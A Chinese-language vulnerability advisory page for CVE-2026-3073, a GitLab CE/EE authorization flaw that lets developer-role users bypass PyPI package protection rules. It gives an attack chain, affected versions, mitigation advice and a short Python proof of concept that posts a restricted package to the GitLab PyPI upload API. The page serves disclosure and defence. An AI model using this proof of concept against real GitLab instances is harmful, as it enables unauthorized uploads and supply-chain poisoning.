IPBUF安全漏洞报告
English
CVE-2026-3073 CVSS 4.3 中危

CVE-2026-3073 GitLab PyPI包保护绕过漏洞

披露日期: 2026-05-14

漏洞信息

漏洞编号
CVE-2026-3073
漏洞类型
权限绕过
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
GitLab CE/EE

相关标签

权限绕过GitLabPyPICVE-2026-3073供应链安全

漏洞概述

GitLab CE/EE在特定版本中存在一处因授权检查不当导致的安全漏洞。该漏洞影响从17.6开始至18.11.3之前的多个版本。拥有开发者角色的经过身份验证的用户可利用此漏洞绕过PyPI包保护规则,上传本应被限制的软件包。此问题可能破坏包管理系统的完整性,建议管理员尽快升级至修复版本以消除风险。

技术细节

该漏洞的核心技术原理在于GitLab服务器端对PyPI包上传接口的授权检查机制存在逻辑缺陷。在受影响的版本中,当用户尝试上传软件包时,系统未能严格验证当前用户是否具备上传特定命名空间或受限包的权限。具体而言,虽然系统要求用户进行身份验证(PR:L),但在处理开发者角色的请求时,跳过了针对PyPI保护规则的二次校验环节。攻击者可以利用这一缺陷,通过发送特制的HTTP POST请求,将恶意或受限的Python包上传到私有或公共PyPI仓库中。成功的利用不仅绕过了预设的包保护策略,还可能引发依赖混淆攻击,进而污染供应链。修复方案涉及在后端逻辑中增加严格的权限判定,确保只有合规用户才能执行上传操作。

攻击链分析

STEP 1
侦察
攻击者识别目标GitLab实例,并确认其版本处于受影响范围内(17.6至18.11.3之前)。
STEP 2
获取访问权限
攻击者注册或获取一个具有开发者角色的合法GitLab账户账号。
STEP 3
构建恶意载荷
攻击者准备一个恶意的Python包或尝试上传一个受命名空间保护的包名。
STEP 4
执行攻击
利用漏洞,攻击者向PyPI上传API发送请求,由于授权检查缺失,系统允许了本该被拒绝的上传操作。
STEP 5
达成影响
恶意包成功上传至仓库,可能被其他开发者误用,导致供应链攻击。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import os # Target GitLab instance GITLAB_URL = "https://gitlab.example.com" PROJECT_ID = "123" TOKEN = "glpat-xxxxxxxxxxxx" # Developer token PACKAGE_NAME = "restricted-package" VERSION = "1.0.0" # The endpoint for PyPI upload url = f"{GITLAB_URL}/api/v4/projects/{PROJECT_ID}/packages/pypi" headers = { "Authorization": f"Bearer {TOKEN}", } # Prepare the package files (metadata and distribution) files = { 'content': (f'{PACKAGE_NAME}-{VERSION}.tar.gz', open(f'{PACKAGE_NAME}-{VERSION}.tar.gz', 'rb')), } data = { 'name': PACKAGE_NAME, 'version': VERSION, } # Exploit: Bypass protection rules due to improper authorization check response = requests.post(url, headers=headers, files=files, data=data) if response.status_code == 201: print(f"[+] Successfully bypassed protection and uploaded {PACKAGE_NAME}") else: print(f"[-] Failed: {response.status_code} - {response.text}")

影响范围

GitLab CE/EE >= 17.6, < 18.9.7
GitLab CE/EE >= 18.10, < 18.10.6
GitLab CE/EE >= 18.11, < 18.11.3

防御指南

临时缓解措施
如果无法立即升级,建议管理员暂时禁用PyPI包仓库功能或严格限制网络访问,仅允许受信任的IP地址访问包上传接口。同时,应加强对已上传包的人工审核流程。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表